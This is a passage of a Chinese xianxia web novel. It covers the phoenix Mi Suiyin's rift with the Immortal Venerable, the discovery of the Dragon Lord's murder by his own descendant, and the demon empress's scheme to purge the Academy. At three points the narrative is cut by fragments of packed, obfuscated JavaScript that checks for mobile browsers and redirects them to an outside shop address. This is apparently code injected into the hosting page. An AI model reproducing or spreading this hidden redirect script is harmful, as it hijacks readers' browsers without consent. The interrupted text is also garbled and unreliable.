“是谁起得我现在也不好说,但她确实没有反对。”弥随音只好含糊的说,“若神庭准备了更好的名字,给她看看也是好的。” “在下知晓了,在这里谢过帝师解惑。”惊轶微微眯了眯眼,心思在心头盘旋几圈,最终没说什么,只是笑眯眯的道谢,转身踏入传送阵内,往青丘去了。 “琉歌,琉歌……”弥随音敛眸垂首在原地陷入沉思,若按惊轶的话推断,上一世,琉歌这个名字大概率是神庭给琉歌起的——可就如惊轶所说,这个名字的寓意并非顶好的——琉歌真的喜欢这个名字吗? 神庭不敢在她的尊号上动心思,却挑中了“琉”和“歌”两个字作为简化后的日常称呼,就如惊轶所言,一个易碎,一个随风消散,琢磨不得……神庭是什么意思,又怀了怎样隐秘的心思? 上一世,琉歌正位的第一件事就是连斩三位问情留下的神使,现在看来,似乎并不只是因为琉歌需要立威,更不是仙尊说的那样,琉歌就是个暴虐的君主。 弥随音忽然无不讽刺的笑笑,琉歌说的对,自己久居仙界,除了从妖界得到的消息,他已经很久没有用自己的眼睛去观察过世界了。 若非身临其境,他怎能知晓,旧一代神庭长老和新任妖皇之间的矛盾,居然这样源远流长,切肤刻骨? 忽然,他腰间的素梅闪过一道亮光,随即又是一道,急促的像是某种警告。 弥随音一边往琉歌吩咐的地方赶,一边抽空看了眼是谁发的传音—— 呦,说曹操曹操到。 刚刚还想着仙界,现在居然收到了仙尊梅若君的传讯。 “仙尊大人?”弥随音不得不放缓脚步,双指一点梅若君留下的神魂烙印,他模糊的声音顿时出现在了弥随音脑海,“仙尊大人有何事找我?” “凤凰,”仙尊的声音里是掩盖不住的疲惫,“你现在是在妖界?可在妖皇帝宫附近?” “我答应了妖族,在妖皇成长起来之前保护神庭,抵挡魔族可能的侵犯——这都是您知晓的。”弥随音声音淡淡的,用一种公事公办的语气回到。 这也怪不得他,有琉歌一口一个师尊,妖界帝师珠玉在前,再听梅若君这冷冰冰的一声“凤凰”,怎么听怎么别扭,像是别人明明告诉了你他的名字,你对着他还非要叫“人”一样。 人,你在哪里,在做什么? 新兴的凤凰帝师顿时被自己的想象诡异的皱了皱眉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310258|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >以往没有比较,弥随音也没觉得有什么,现在有了对比……那种隐晦的打压,刻意的忽视就再也无法隐身了。 “凤凰,我知道你对我不满——前段时间,确实因为我的闭目缄口,放任魔族行侵略之事,才导致了问情妖皇的悲剧……但我也有我的苦衷。你我之间毕竟有十万年的情谊,我不希望你在妖界出事。” “……您多虑了,我在妖界能出什么事?”见仙尊放缓了语气,弥随音也只是敷衍道:“我确实在妖界,却不在帝宫附近,呃……最近妖界出现了魔渊裂隙,我出来清理魔族了。” 他本想说和琉歌一直待在一起,话到嘴边忽然清醒,赶紧转了个弯。 幸好梅若君不知道琉歌的存在,还以为弥随音是在为了不帮他办事找托词,略微蹙眉,“我并非需要你为我做什么。只是来提醒你——你在帝宫,最好避免和妖皇接触。 “妖皇似乎有对龙族动手之意。”仙尊长叹一声,透出无尽的忧虑来,“毕竟你是四仙兽中唯一一位选择留在仙界的,是我仙界对抗魔族不可或缺的一大助力,我总是不希望你出事的。” “郁柏妖皇,要对龙尊动手?”弥随音的语气顿时古怪了起来,他的重点在郁柏妖皇,他毕竟有前世记忆,上一世,这位仙尊可是信誓旦旦的拿出了证据,证明是琉歌妖皇对龙族动了手的。 怎么这一世,琉歌一隐身,对龙族动手的人就变成神子郁柏了? 上辈子,仙尊和龙族小辈都说是琉歌先对龙族动了手,龙族被逼才造反的,仙尊怜惜龙族毕竟是四仙兽的后代,这才打开通天门将他们接入仙界。 弥随音曾亲身下界跟琉歌一起查了许久龙尊死亡的真相,对于这一套疑点重重的解释本就不信——现在,郁柏在第五洲准备清理魔气,琉歌更是早早跟神庭断了联系,谁要对龙尊动手?谁有理由对龙尊动手? 更何况,龙尊现在正镇守神庭,真要对他动手,也不可能挑在现在啊,龙尊若是出事,青丘动荡,政庭神庭动荡,最后还不是要两位神族来解决? ——仙尊是不是被谁的信息误导,或者蒙蔽了? 弥随音罕见的沉默了,没有接仙尊的话。 梅若君却以为弥随音的重点在后半句。 “我确实也不敢相信郁柏尊上会对龙尊动手,你若是有空,帮我看看常妄情况如何了。”仙尊了解弥随音,至少比之前的琉歌更了解一些,知道他听不太懂那些暗示和隐喻,干脆直白道:“还有一件事需要你帮我留意——” “仙界最近风波不断,魔尊即位之后,先是茶清叙失踪,生死不明,这两天我们又发现,出去找茶清叙的南宫悯也联系不上了。” “最后一个跟南宫悯有接触的人正是龙尊常妄,等你回到帝宫,可否帮我向龙族打探一下消息,问他可知南宫悯去了哪里?” “南宫悯失踪?” 凤凰帝师更加惊讶了,努力回想前世,可前世南宫悯就像一个标准化的模版,他和茶清叙一样主张用法度约束仙族的行动,一直帮助茶清叙推进各项法律和政策,后来茶清叙死在仙魔混战的战场上,南宫悯就成了仙尊最锋利的刀,在仙魔战场上拼死出力,杀魔无数。 前世可没有什么南宫悯失踪啊? 46. 第一刀 弥随音在心底略略算了算琉歌的计划和时间,给仙尊答复到:“三日之内,关于南宫悯的事,我会给您答复的。” “只有南宫悯吗?龙族呢?”梅若君声音愈发模糊了,应该是仙妖两界之间的时空乱流和时空裂隙在起作用,代表着两人之间的联系即将被切断。 弥随音辨不出仙尊的情绪,也懒得辨,他自认从不亏欠仙界,仙界给予他的不过是第八重天上的一块落脚地罢了,就算把一切费用明细扯清了细算,他配合仙界征战魔界数十次,欠了多少都还清了。 “嗯,只有南宫悯。”凤凰帝师轻声应答。 弥随音下界不过数月,声音在梅若君听来分毫未变,但梅若君就是觉得变了,一切都变了,原先的凤凰像深埋水底的利刃,水面无波之日已久,于是人们都快忘了,水下藏着多锋利的一把神兵。 “仙尊大人,随音感谢您收留的这十万年,但在下在前线也为仙界出力良多,自觉两不亏欠——在下虽愚钝,却也知晓,将妖界神庭内幕透露于您,此事大不妥。” “常妄是妖皇的臣子,龙族是妖皇的百姓,在下没有插手的资格,您想知道龙尊的消息,请去联络妖皇尊上。” “我在仙界时不曾背叛您,在妖界时也没有背叛妖皇,首鼠两端的打算。” 梅若君那头静默良久,弥随音将“若无事我们还是别联系了我怕妖皇误会”这句话在心底过了三圈,终于要出口的时候,仙尊轻声笑了,笑意清润和煦,一如弥随音记忆里的模样。 “恭喜,看来你找到自己愿意效忠的君主了。”梅若君语气真切诚恳,“想不到郁柏尊上竟有这等魅力?” “……和妖皇无关,是在下对妖界心向往之。” 第四洲医馆内,危天梭和风弄堂集结族人完毕,于医馆内重新碰头。 “逐云隼族金丹期十人,出窍期一人。” “虎族金丹期十三人,元婴期一人,出窍期一人。” 人数核对无误后,危天梭冲他一点头,将留守第四洲的危秋和藏纵夏召到身边最后细细嘱咐着什么。 风弄堂则清了清喉咙,简明扼要跟众人解释了一下情况——第四洲递交上去的丹方被学宫扣下了,现在妖皇忠臣,意图向外传递消息的白水边被关押在学宫内生死不明。 “琉歌尊上说了,丹方没了还可以再写,但白水边为琉歌尊上出力良多,此等功臣绝不可以出事!”虎族领主声音凛然,“泣寒瘴于魔族脱不了干系,我们此去,定要将学宫的不轨之心扼杀在摇篮里!” “是!谨遵神谕!” 第四洲三位领主交情颇深,第四洲众族人又数次联手抵抗天灾人祸,危天梭手里又是真有琉歌神谕,他们对风弄堂的话没有丝毫怀疑。 危天梭那边也嘱咐好了后续事情,她缓缓行至风弄堂身侧,抬手展开神谕,以神明金血写就的神谕内无数金红交织的细线射出,在半空中交织,扭曲,形成了并不算宽阔的宅门。 门内,属于神族权柄的气息一闪,空间权柄强悍的力量顿时在第四洲半空涤荡而过! 危天梭并非第一次直面神族权柄,因此比其他人适应的好些,冲众人一点头便要率先踏入门内—— 风弄堂忽然一抬手止住了她的动作。 “危领主……事到如今也没有在下再反悔的机会了,”这位虎族领主压低了声音问道:“在下就是探一探妖皇的口风,看看这次行动要做到哪一步?” “我就直白的问了——若当时在医馆,你没能劝住我,妖皇尊上的后手是什么?” 危天梭有些讶异,她未曾想过这些,回忆了片刻,答道:“妖皇尊上只说……让我回去便可。” “只你自己回去?” “对,第五洲魔气尚未净化,妖皇那边我尚能出力。”危天梭点头,没觉得有什么不对的。 风弄堂原地沉吟了一会,心下有了计较,于是抬头笑道:“我大概心里有数了,若我没有猜错的话……青丘接应我们的人,应该就是琉歌尊上留给你的后手了——走吧,是该往青丘去了。” 青丘郊外传送阵,白光闪过,一身黑紫色神庭官服的男子腿一软,在身后侍从的惊呼声中,扑通一声颓然跪倒在传送阵坛上。 暗棕色的长发散落,遮住了他大半张脸,那股颓然的无措让人心惊,从身后跟着他的惊止的视角,只能看见赤狐长老不断颤抖的手。 “轶公子……”惊止声音抖抖的跟着他跪下,膝行两步要来扶他。 惊轶忽然惨笑一声,“会叫我轶公子的,只有老爷子那别的人——老爷子身体安康否?” 他说的老爷子正是现任赤狐族家主,他的父亲。 当年他带着惊梦偷偷逃出赤狐族投身问情麾下,老爷子气得好几年不和他联系,后来好不容易关系缓和了,惊梦又出了事。 老爷子惊闻噩耗,白发人送黑发人,原本精神的身子顿时江河日下,一日不如一日了。 惊轶无颜再回赤狐族,他宁愿跟在问情身边出生入死,也不敢看父亲和兄长沉痛的脸。 看到惊止,他才想起来,惊梦生魂归位,不日即可苏醒的好消息还没告诉老爷子呢。 “惊爷爷一切都好……”惊止被惊轶的失态吓住了,扶着他缓缓起身,忽然听他又问道:“惊氏每个孩子的名字都是老爷子取的——惊止,你的止出自何处。” “相鼠有齿,人而无止。”惊止脱口而出。 惊轶沉默良久,闭着眼深深吐出一口气:“等……此间事了,我就回去看看老爷子。” “长老,那我们现在做什么?等第四洲的人来吗?”惊止一边回头望着传送阵坛,一边询问道。 “你知道么……琉歌这个名,确实是神庭敲定的备选之一。” 惊轶却失魂落魄不知道想到了哪里,惊止扶着他,只觉得向来成竹在胸八风不动的军师大人现在抖的厉害,眼神空茫茫的落在雪地上,不知在看何处。 “春在野,他将这个名列为备选,安的什么心,我和喻未央都清楚无比——没人愿意跟他胡闹,这么名字早早就被我们扔到一边了。”惊轶棕黄色的眼底溢出苦涩的笑意,“但神女大人居然什么都知道……她连我们舍弃了什么名字都知道!” “太愚蠢了……太愚蠢了,我和春在野都疯了!” 赤狐长老一把攥住散落胸前的长发,恐惧化为喉咙里越发难以遏制的痒意,他从没有那么清晰的意识到自己的靠山倒了,一朝天子一朝臣——问情已经死了。 旧日的烈阳早已陨落,他们这些被太阳余烬庇护着的残骸,竟然妄想阻止新一轮的烈阳攀上天际! “长老!” 能从数千人的赤狐族脱颖而出,被老爷子送到惊轶身边辅佐他的惊止,显然也不是对政事一无所知的纯粹愣头青,他率先起身,随即手上用力,硬生生把惊轶从雪地里拔了起来—— “长老,您不能倒,您背后还有整个赤狐族!” 打蛇打七寸,说到族人和血亲,惊轶眼底陡然爆出一阵光亮! “你说的对,我冒天下之大不讳将赤狐族调离第五洲迁到青丘,是为了赤狐族千秋万代,不是为了让妖皇动手更方便的!” 恐惧被冷风略微吹散,聪明的智商重新占领高地。 惊轶深吸一口气在传送台上徘徊三圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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妖族兽族死后会化为原型,龙尊也不例外,若不是仙界秘法保持龙尊维持在了一个脑死亡但心脉里尚有生机的状态,龙尊的原型可不是一个小小气闭室可以装下的。 两人本来计算的很好——将龙尊抽了骨后制成傀儡,控制他装作重病的样子在偏殿休息,然后她带着龙骨和龙族众人登上仙尊降下的通天梯,进入仙界。 但仙族低估了龙尊的强悍,也高估了冷千春和云出岫的能耐。 在仙界秘宝加持的情况下,他们居然一夜都没完成抽骨的工作,导致神庭众人察觉了异样。 冷千春将还在冒热气的药往阵法上一倒,原本被龙血浸染,削弱的有些模糊黯淡的阵法顿时重新明亮起来。 还没等她说什么,云出岫忽然目光一凛望向神庭之外! 小烛龙额角冷汗陡然冒出,霎时意识到不对—— 下一刻,仿若能开天辟地的一道剑光闪过,本就仓促搭建的气闭室顿时从中被劈开,化为一地断壁残垣! 云出岫在剑光到的前一刻,手心团扇一挥,化为一道青烟,倏地消失在原地。 冷千春抬眸,和弥随音遥遥对上了视线。 龙凤两族因为领地意识都太强,很有几分王不见王的意思,弥随音看常妄,觉得他流连花丛,不思大道不知进取,常妄看弥随音,觉得他装腔作势,孤家寡人一个倒也可怜。 两人再怎么看不对眼,弥随音也从未想过,有一天自己会看到常妄生机全无,躺在仙族的散灵阵法里,被自己的血脉后人生生剖皮抽骨的样子。 太残忍,无论是对他还是对常妄,都太残忍了。 “为何……为何这么做?”弥随音一瞬间茫然极了,跟在凤凰身后的惊轶倒是冷酷的多,也有经验的多,他抬手掐住冷千春的脖颈将她禁锢在身前,双指并拢一点她的额头,硬生生撕裂识海屏障,将她这些天的记忆全部拽了出来! “还有同伙,给我封锁青丘和龙岛!”惊轶厉声喝道:“神庭听令,龙族勾连仙界谋害龙尊常妄,赤琉璃何在,给我掘地三尺,也要把螭龙族云出岫找出来!” 47. 佛口蛇心 冷千春不愧是梅若君选定的人,可能确实有些能耐在身。 被惊轶以最粗暴的方式破开识海读取记忆,她此时竟然尚能维持理智,没有直接识海崩溃而亡。 惊轶有些怜悯的看了弥随音一眼,选择将这里留给他,自己将记忆中云出岫的脸拓入照影中,分发给赤琉璃领队,得到命令的近卫军以极快的速度散入四面八方,封锁青丘追捕云出岫去了。 赤狐长老和常妄只能算同事,望着常妄的尸身,震惊有余但悲痛不足。 可若追根溯源,从诞生和来处算起……诞生自同一片混沌灵气的四仙兽才是血脉同源的手足至亲。 而且,现在的天地灵气清浊之间泾渭分明,清气浮于上空形成仙界,浊气缓缓沉积汇成魔界——清浊交织的混沌灵气已经不复存在。 也就是说,再也不会有诞生自混沌灵气的天生神兽了。 “我……我前段时间才见过祝商序,他还问了你的近况……”弥随音怔然许久,单手撑剑,缓缓单膝跪在了常妄身侧。 “我让他自己去找你,他偏不听。” 他伸手想为常妄合上眼,指尖伸出去了才发现自己抖的有多剧烈,那双可雕花琢玉可百步穿杨的手,现在竟连剑都握不稳了。 龙凤见面就要相争的毛病陡然复发,弥随音忽然从心底涌起一层恼怒,只觉得下一刻这人就要从地上爬起来,大肆嘲笑自己的胆小和无措了。 “——我就说凤凰是我们之间最小的,你看他怕成什么样!” 完了。 常妄失真的声音模糊而渺远的响在他耳畔的那一刻,弥随音有些无奈的低头,额头抵住持剑的右手的手背,他突然间觉得讽刺的紧,自嘲一样在心底笑道:“以后入我噩梦的人,又要多一个了。” 常妄爱酒,在祝商序投入人皇麾下之前常跟他一起打着品酒的名号拼酒,喝得烂醉如泥,连绵数月长醉不醒。 常妄已经醉的没了正形,醉醺醺的一撞弥随音,又开始争论龙和凤是谁先诞生的这个老掉牙的问题。两人撞歪了一旁伏案作画的弥随心的桌子。 弥随心手一抖,一副工笔画顿时毁了,凰的怒火陡然窜起,揪起两个醉鬼分别扔进白泽和弥随音怀里,下了逐客令:“都给我滚!以后再敢来挖我的藏酒,先问我的剑答不答应!” 白泽生来通透,从来滴酒不沾,凤凰非醴泉不饮,对酒水也没什么兴趣,两人相视一笑,一人抬着一个,给两个醉鬼仍回了自己的地盘。 “我是不是最小的尚无定数,但你以后肯定要当最小的了。”弥随音一瞬间满怀恶意的想笑,他已经多少年没有这般浓烈的情绪了。 发现自己无论如何也控制不住颤抖的指尖,弥随音于是叹息一声,干脆木着脸面无表情的盯着常妄狰狞的脸看,直到一旁的冷千春从剧痛中缓了过来,沉重浮肿的眼皮撑着血红的双眼,无言的,死死盯着弥随音。 “为何要这么做?”弥随音直视着那双盛满了恨意的眼眸,两人对视了半响,他忽然真心实意的疑惑道:“常妄不可能亏待子嗣,况且,就连久居仙界的我都知道龙尊有多偏爱烛龙血系——告诉我,谁给了你这个阵法,谁要你这么做的?!” “——只有仙界才是龙族的归处。妖界稀薄的灵气只会让神兽血脉逐渐埋没……只有仙界,才配孕养我们神兽血脉。” 冷千春丝毫不觉有愧,语气带着弥随音所熟悉的野心和笃定,“曾祖父既然可以为了龙族的未来,将所有子嗣划分三六九等,那我为何不可?” “他是最强的,因此可以轻飘飘的决定龙岛每个人的命运,那现在,我比他强,我自然也可以决定他的命运!” “强压龙岛内所有不满的声音将龙族留在妖界——他已经从带领龙族追求更强的龙尊,变成挡在我们面前,阻碍我们迈向更强的拦路石了。” 作为四系理论最大的受害者也是受益者,这套粗糙的理论已经融入了她的骨血。 她从只差一步就会被赶出龙岛的“隐系”,到成长期突破血系限制,成为有资格留在龙岛的“霄系”,再到力压一众同辈得到曾祖父的看重,成为龙岛年轻一辈第一人…… 如今,她亲手杀了曾祖父,只差一步,就能带着龙族重回仙界,重回她梦寐以求的巅峰。 她只是在自己最擅长的规则里,做出来对龙岛而言利益最大化的判断。 “……清气高等论的衍生派系,血统论里的糟粕。”弥随音恍然大悟,随即陷入更深的迷茫之中:“清气,也就是仙气,是纯粹凝练的灵气,仙族多认为,仙气比灵气更适合孕养高等血脉。” “有人将这套不成熟的理论告诉了你,但……就因为这样一套未经证实的边缘理论,你就对你曾祖父动了手?” “四系理论是他自己定下的,”冷千春比他更加疑惑,“龙族只有回到仙界,才能诞生更多血脉强悍的晟系幼崽——曾祖父说了,晟系幼崽是龙岛的明日之星,龙岛需要更多的晟系幼崽——他亲手确定的规则,难道不应该带头遵守吗?” “……你见过仙族吗?”弥随音忽然心累的厉害,不知是因为常妄还是因为冷千春。 他深深呼出一口气,忽然问道:“能被常妄时刻带在身边,你一定是龙岛小辈里难得的天赋卓绝者——你见过仙族吗?你看过仙族看我们的眼神吗?” 冷千春沉默着没有回答,弥随音苦笑了一声,他已经从沉默里得到了答案。 “你天赋卓绝,你可曾想过,那些没有天赋,或者天赋平庸的幼崽,他们如何在仙界活下去呢?哪个人飞升上仙界不是穷尽了修为和算计?他们凭什么要供养平庸的龙族幼崽呢?” “我不知仙界的谁承诺了你什么,但就为了一句虚无缥缈的承诺……你就亲手砍断了为整个龙岛遮风挡雨的支柱,还觉得自己高瞻远瞩?!” 凤凰无法接受,和自己同源而生的手足就这样死在一个轻飘飘的理论之下,悔和恨交织着攥进了他的心脏,某一刻,他真的很想举剑,就当自己气疯了吧,再不管后续的一切,杀了冷千春替常妄报仇。 但他眉心,那枚随着他的呼吸明暗交替起伏的妖皇神纹,却如不可动摇的山岳一般,亘古不移的替他保持了一分清醒。 “我孑然一身留在仙界尚且遭受过一些暗地里的排挤和藐视,若不是仙尊对魔族出战需要我的力量,仙族对神兽的态度就是很鄙视,冷漠的——他们为了飞升,杀了多少有神兽血脉的灵兽,你想过吗?” “这一代仙族,多飞升于人族奴役妖族时期,对这一批仙族而言,妖就是兽,无论是妖还是兽,都是人族的养料罢了!” “神兽,在他们眼里……也不过是名头更好看一点的耗材罢了,我毫不怀疑,若有一天我在前线重伤,他们会毫不犹豫瓜分我的骨血增强自己的实力。” “这也是为何我一直留在仙界却不愿效忠仙尊……仙尊是仙族意志的集合——他只会比一般的仙族更不把我当人看。” “当你变成了一块失去价值的耗材……你就会知道仙界是什么地方了。” 他再也无法忍受了,再也无法忍受这里的一切了,常妄的尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310260|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,地上属于仙族的阵法还有被仙族蛊惑的冷千春都让他感到恶心。 前世今生种种因果交错重叠着化为蝶蛹死死包裹住弥随音,他猛地起身,以一种丢弃一切,摆脱一切的姿态振翅而起,以最快的速度往第五洲赶去—— 琉歌,琉歌…… 琉歌,琉歌,琉歌!! 帝宫,惊轶目送凤凰帝师离去后,示意赤狐族的自己人将冷千春拖下去,下狱审问。 很快得到了答案——最后一个见过龙尊的可疑人员,是学宫的卷云长老。 “赤琉璃,跟我走!”惊轶手腕一翻,镂空雕刻的玉牌中央,是一枚拇指指甲大小的,灿金色的神血凝珠。 以神血传递神谕是郁柏常用的手段了,赤琉璃不疑有他,立刻领命,迅速包围了大门紧闭的学宫。 惊轶身边忽然传来了属于空间权柄的能量波动——嗡鸣声一响而过,一道窄门随即出现在了学宫上空。 风弄堂和手捧神谕的危天梭率先踏出,第四洲众人紧随其后。 两人和惊轶遥遥对视一眼,立刻明白了对方就是妖皇口中的自己人。 第五洲,银发妖皇袖手而立,垂眸,纤长浓密的眼睫盖住了她寒潭似的眼,白气刚轻轻溢出唇畔,便消失在白茫茫天地间。 别怪我,弥随音。 琉歌遥遥望向东方,那是青丘所在的方向,也是凤凰即将赶来的方向。 你必须亲手揭开那张假面,亲眼见证梅若君这张菩萨面下溃烂的心和肮脏的手,这样我才能安心。 我要我的凤凰自由的翱翔天地间,我要他自己发现,原来自己绕树三匝,无枝可依,最终乖乖飞回我的掌心。 “如何了?”她旁边,神子郁柏轻声问道。 “回来了,只等里面那个出来,此间事便可结束了。”琉歌下巴微抬,点了点不远处包裹着魔尊魔气的屏障。 “杀了春在野后,你准备怎么处理我?”郁柏姿态放松的盘腿坐在雪堆里,“没人监视,没人说教的感觉真好,怪不得你要离开神庭……对了,我们从没有独处过这么久呢,姐姐。” 琉歌睨他一眼,“到时候再说吧。” 神子身边,冰凌鼬族的釉面正安静的垂首侍立一旁,无声无息的当她的吉祥物,只当自己耳聋目盲,什么也没看见,什么也没听见。 “戏子已经全部就位了,”琉歌眉心神纹光芒明亮,神情戏谑,识海传音道:“危天梭,可以告诉神庭血洗学宫的理由了——” “是。”远在青丘的危天梭恭敬的应下。 学宫外围的外门弟子乱作一团,有人躲入室内,有人疾步穿越回廊去找师长,学宫外,训练有素的赤琉璃近卫军已经升起了禁锢阵法和散灵阵法,摆开了阵势。 更外围,神庭,政庭,学宫……各方势力,各个家族的重要人物明里暗里倾巢而出,均是被弥随音和惊轶硬闯帝宫的架势吓出来打探消息的。 在这样逐渐凝滞肃穆的氛围里,危天梭越众而出,手持妖皇神谕,神情冷淡而威仪:“神庭长老春在野,私自扣押第四洲丹方并成立拜圣教,意图阻碍神庭防疫进度,等泣寒瘴大面积爆发时,再通过丹药敛聚大量信仰,自立成神!” 不顾周围霎时响起的惊呼和倒吸一口凉气的嘈杂声,危天梭手中卷轴般的神谕一卷,化为锐利的长剑,她手一抬,长剑升入半。空,剑尖向下直指学宫核心所在! “经拜圣教成员举报,神子神女核实——春在野狼子野心,其心可诛。” “赤琉璃,随我血洗学宫!” 48. 改朝换代 “大人!外面,惊长老和两位领主带着神谕……舒云大人,怎么是您?” 地位仅在学宫长老之下的几位学宫掌事,六神无主,推搡着,着急忙慌的挤进了卷云在学宫办事议事的书房,学宫令春在野不在,他们只好将希望寄托在卷云这个学宫长老的身上,期盼着他能拿个主意。 结果卷云长老也不在学宫。 “舒云大人,卷云长老现在在何处?”一白发苍苍的老者匆匆拨开众人上前,一把攥住了舒云的手,急迫的问道:“在这里的都是自己人,您得给我们一句准话——你兄长到底在哪里,春神使的事情他知晓否?” “还有,还有春神使近些年带着我们研究信仰之力,当真是想自立成神吗?!” 眼看场面就要失控,舒云赶紧反握住白发老者的手,神色切切,语气甚笃:“长老,你可是薇背猴族的族长,切莫因为那些莫须有的罪名失去了方寸。” “学宫派的大小世家都在您的身后,等着您为他们洗刷这份冤屈和耻辱呢。” 薇背猴族世代扎根学宫,研究成果堪称硕果累累,是青丘少见的学术派世家。 未眠一双浑浊的眼陡然闪过笃信的光芒,镇定了下来——是啊,他想,不管神庭在发什么疯,区区一个惊轶,虽不知他是如何得到妖皇神谕的,但他还能当真血洗了学宫不成? 赤狐族敢惹以薇背猴为首的,所有学宫派系的世家大族吗? “卷云大人现在身在何方?”未眠尤不放心,最后问了一句。 “兄长被春神使带到了第五洲解决魔尊魔气,我已经将这里的情况告诉他了,我们只消守住片刻,就足够春神使等人赶回来了!”舒云摆出了个请的手势,示意未眠出去主持大局。 未眠被书房内的侍从半请半推的“请”出门外时还有些茫然,他怔愣了一瞬,皱着眉刚想回头再说些什么,书房大门已经嘭的一声,在他面前紧紧的闭上了。 “……罢了,你们几人,跟我去大门处迎敌,你们几个……去组织人手,把那些东西藏好。能转移的就转,转不走的就全部毁掉!” 舒云的话不管未眠信了几分,到底是给他打上了一针强心剂,无论是主动求生还是被动死抓一株救命稻草,未眠只知道,要是学宫直接开门投降,那学宫和学宫派系就全完了。 听着外面逐渐没了声音,学宫书房内,舒云踉跄一步,茫然的一抹下颌,摸到了满手黏腻温热的血。 忽然一点稀碎的碎裂声自他掌心传出,他下意识缓缓摊开手掌,只见原本藏于他掌心内的,那枚拳头大小,莹白晶润的宝珠,此时已经光芒尽失,从内核开始碎了一地,拼也拼不起来了。 “魔器……当真好用。” 就着鲜血,舒云忽然嗬嗬抽气两声,笑出了声来。 魔尊要他给自己和春在野牵线搭桥,他已经圆满完成了任务,现在,该为自己考虑了。 他再不管学宫内或嘈杂的恐慌,或压抑的静默,颤抖的手在储物袋里摸了几次,终于摸出了他当下最需要的,凝结了学宫最顶尖的智慧和能量的—— 空间传送阵盘。 若卷云在这里,他一定能认出,这是他为拜圣教内阁准备的最后退路。 春在野是疯子却不是傻子,也并非莽夫。他意图弑神,却也知晓此事十有八九是不成的。 ——那时,这块据说可以无视妖界的屏障封锁,将拜圣教内阁成员传送到其他位面的空间传送阵盘,就是卷云最后的倚仗,也是拜圣教保留力量,图谋日后的底气所在。 没人知道舒云是如何得到这块空间传送阵盘的,现在也没人有兴趣知道了。 “我要去……人界。” 光芒骤然大盛! 舒云最后回望一眼妖界,握紧了手里装满了神血丹的储物袋——这是他在人界修炼直至飞升的保障。 “哥,别怪我,你已经彻底疯了,但我还要活着!”年轻的乌鸫族收起一身妖气和所有外化的妖族特征,再不回头,转身,一脚踏进了运转良好的传送阵里。 乌鸫族青年的气息骤然消失在妖界天地间,只余传送阵在原地越来越缓慢的运转着,如同燃尽了蜡烛,烛芯倒在蜡油里,光芒渐熄。 “卷云,不能再往里走了,再往前走,就真的要离开阵法保护的范围了。”画妖深深皱眉,拦住了还想要继续深入的卷云,“你到底听到了什么?要你这样以身涉险的深入晚枫?你到底知不知道轻重缓急!” 是的,拜圣教内阁的一群人,现在正在晚枫附近不知所谓的徘徊。 浮荣首先受不了了,真正的画妖可不是人族想象的那样娇弱多情,寄情于画,以画入道。 浮荣饱饮鲜血而生,修炼的也是逆天而行的路子——给死去之人画皮,赐予他们一场“重生”。 借画妖的笔画皮重生之人能和常人一样修炼,饮食,音容笑貌完全是生者记忆里的样子。浮荣画的最好的一张皮,维持了三年方才溃烂。 这三年里,画皮者修炼得到的灵气,饮食得到的能量,还有生者对画皮倾注的感情,最后在画皮溃烂的那一刻,都会化成浮荣的力量,供她驱使。 她加入拜圣教,就是为了给问情妖皇画皮。 她有把握,若是此次画皮成功,她很有可能凭借此功直接飞升仙界!从此脱去一身凡胎俗骨,位列仙班! “卷云,我不管你早上听到了什么,要不你就回头,要不你就在这里说明白。不然,我也不介意在这里杀了你,剖了你的皮,炼成我的画皮鬼!”浮荣语气冷冷,眼里警告和威胁的意味丝毫不加掩饰。 “你知道的,我绝对有这个实力。” “……” 卷云沉默良久,望着身后拜圣教内阁最后的十几人,还是选择了坦白:“我……听到了魔尊的声音。” “魔尊黎狩!?” “对,魔尊黎狩的声音,我不会听错的。”春在野咬牙,“他在妖界时,我就听过他的声音,不久前的琼寰大会上我也听过他的声音——我不会听错的。” “你要做什么?”浮荣浮现了一些不好的预感。 “我是想杀神子神女,迎回问情尊上,但我也害怕……我害怕魔族会再次趁着妖族大乱,趁机入侵妖界。”春在野紧拧着眉,“他今早与我对话的时候,不远处的神子和神女甚至毫无所觉!这太可怕了……” “我怀疑晚枫封印阵法之下,因为魔气浓度过高,形成了一道长久存在的魔渊裂隙。” 春在野思绪流转间下定了决心,将腰间配带的储物袋扯下,塞进了浮荣的手里。 “我不能留给问情一个满目疮痍的妖界,更不能留给她一个被魔族入侵,血染河山的妖界……妖界是妖族的妖界,而只有她,才配当妖界神明,高悬天际,照彻万族。” “若我当真回不来,执行计划的事情,就摆脱你了,浮荣。” 浮荣以血为生,以情为食,她咀嚼着春在野扭曲而古怪的感情,第一次感觉被感情崩了牙。 画妖嘴角裂开了一个最完美的弧度,白齿如编贝,“我会在这里等到月上枝头,若那是你还没出来,我就会按照计划,伏杀神女。” 春在野笑着踏入魔气之下。 “问情身死,妖界大乱……”魔气掠过他的耳畔,黎狩饱含笑意的声音再次在他识海里回响。 “春去也,我以为你会直接随问情而去呢,毕竟当年,你跟在她身后,那个眼神……啧啧。” “啊啊,你来了,春去也。” 在春在野踏入晚枫的那一刻,黎狩的声音陡然一转,从回荡在他识海的絮絮低语,骤然变成了某种带着回音的高昂巨响! “不过 